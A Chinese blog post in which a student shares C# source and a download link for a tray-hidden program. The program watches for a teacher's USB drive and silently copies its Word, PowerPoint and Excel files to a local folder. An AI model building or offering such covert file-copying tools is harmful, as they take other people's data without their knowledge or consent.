高三一阵时期班里的化学老师不想让自己的课件被学生提前打印扰乱课堂进程,所以他选择每次来班里带着U盘,这样让很多同学没法在下课后通过课件复习知识,于是我在课余时间写了个C#程序,在检测到老师插入优盘后自动复制doc(x),ppt(x),到指定的目录

你好学哥V1.0应运而生,只可惜没考过几个课件,化学老师就因嫌麻烦不用U盘了

主要程序逻辑部分代码:

using System;

using System.ComponentModel;

using System.IO;

using System.Windows.Forms;

 

namespace 你好学哥

{

public partial class 你好学哥 : Form

{

string[] Disks = System.Environment.GetLogicalDrives();

bool iscopied = false;

int FileCount = 0;

public 你好学哥()

{

InitializeComponent();

notifyIcon1.Visible = false;

//读取存储的记录

if (File.Exists("LastTarget.ini"))

TargetFolder.Text = File.ReadAllText("LastTarget.ini");

//读取磁盘列表

foreach (string Disk in Disks)

{

disklist.Items.Add(Disk);

}

}

 

private void StartTimer_Click(object sender, EventArgs e)

{

SetTrackService();

}

 

private void SetTrackService()

{

if (StartTimer.Text == "开始追踪")

{

//验证两个输入框内容的有效性

if (TargetFolder.Text == "")

{

MessageBox.Show("请输入目标路径",

"错误", MessageBoxButtons.OK,

MessageBoxIcon.Stop);

return;

}

//如果目录不存在则创建

else if (!Directory.Exists(TargetFolder.Text))

{

try

{

Directory.CreateDirectory(TargetFolder.Text);

}

//无权限

catch (UnauthorizedAccessException)

{

MessageBox.Show("请使用管理员权限运行",

"错误",

MessageBoxButtons.OK,

MessageBoxIcon.Stop);

return;

}

//语法错误

catch (ArgumentException)

{

MessageBox.Show("目标文件夹语法错误",

"错误",

MessageBoxButtons.OK,

MessageBoxIcon.Stop);

return;

}

if (!Directory.Exists(TargetFolder.Text))

{

MessageBox.Show(@"目标文件夹创建失败/读取失败",

"错误",

MessageBoxButtons.OK,

MessageBoxIcon.Stop);

return;

}

}

//储存本次目标位置

File.WriteAllText("LastTarget.ini",TargetFolder.Text);

//启动Timer

timer1.Enabled = true;

notifyIcon1.Visible = true;

//标记为“停止追踪”

StartTimer.Text = "停止追踪";

//隐藏窗口

this.Visible = false;

}

//停止追踪

else

{

timer1.Enabled = false;

StartTimer.Text = "开始追踪";

notifyIcon1.Text = "服务未运行";

}

}

 

private void timer1_Tick(object sender, EventArgs e)

{

/*

* 检测目标盘符是否存在,

* 如果不存在则认为没有复制过文件

*/

if (!Environment.GetLogicalDrives().Contains(disklist.Text))

{

iscopied = false;

//修改任务栏图标文字

notifyIcon1.Text = "服务已启动,等待U盘";

return;

}

//如果已经复制过文件,退出

else if (iscopied)

{

notifyIcon1.Text = "服务已暂停...已复制文件数:" + FileCount;

return;

}

else //复制文件

{

string[] Files = Directory.GetFiles(disklist.Text);

foreach (string perFiles in Files)

{

if (perFiles.Contains(".ppt")||

perFiles.Contains(".xls")||

perFiles.Contains(".pptx")||

perFiles.Contains(".xlsx") ||

perFiles.Contains(".doc") ||

perFiles.Contains(".docx")

)

{

string TargetFile = TargetFolder.Text + @"\" + Path.GetFileName(perFiles);

File.Copy(perFiles, TargetFile , true);

FileCount++;

}

}

notifyIcon1.Text = "服务运行中...已复制文件数:" + FileCount;

//标记为已经复制

iscopied = true;

}

 

}

 

private void button1_Click(object sender, EventArgs e)

{

if (folderBrowserDialog1.ShowDialog() == DialogResult.OK)

{

TargetFolder.Text = folderBrowserDialog1.SelectedPath.ToString();

}

}

 

private void button2_Click(object sender, EventArgs e)

{

this.Visible = false;

notifyIcon1.Visible = true;

if (!timer1.Enabled == true)

{

//服务未启动时修改任务栏图标文字

notifyIcon1.Text = "服务未启动";

}

}

 

private void notifyIcon1_DoubleClick(object sender, EventArgs e)

{

this.Visible = true;

notifyIcon1.Visible = false;

this.Activate();

}

 

private void StartService_Click(object sender, EventArgs e)

{

SetTrackService();

}

 

private void StopService_Click(object sender, EventArgs e)

{

SetTrackService();

}

 

private void ShowMainForm_Click(object sender, EventArgs e)

{

this.Visible = true;

notifyIcon1.Visible = false;

}

 

private void OpenUD_Click(object sender, EventArgs e)

{

if (Directory.Exists(disklist.ToString()))

{

System.Diagnostics.Process.Start(disklist.Text);

}

}

 

private void contextMenuStrip1_Opening(object sender, CancelEventArgs e)

{

StartService.Enabled = !timer1.Enabled;

StopService.Enabled = timer1.Enabled;

ShowMainForm.Enabled = !this.Visible;

}

 

private void ExitProgram_Click(object sender, EventArgs e)

{

this.Close();

}

}

}

 

大佬肯定能简化一半代码....

项目下载地址: https://pan.baidu.com/s/1ij0WnFrsZInJ6sY-pXfTQQ

密码:hd9g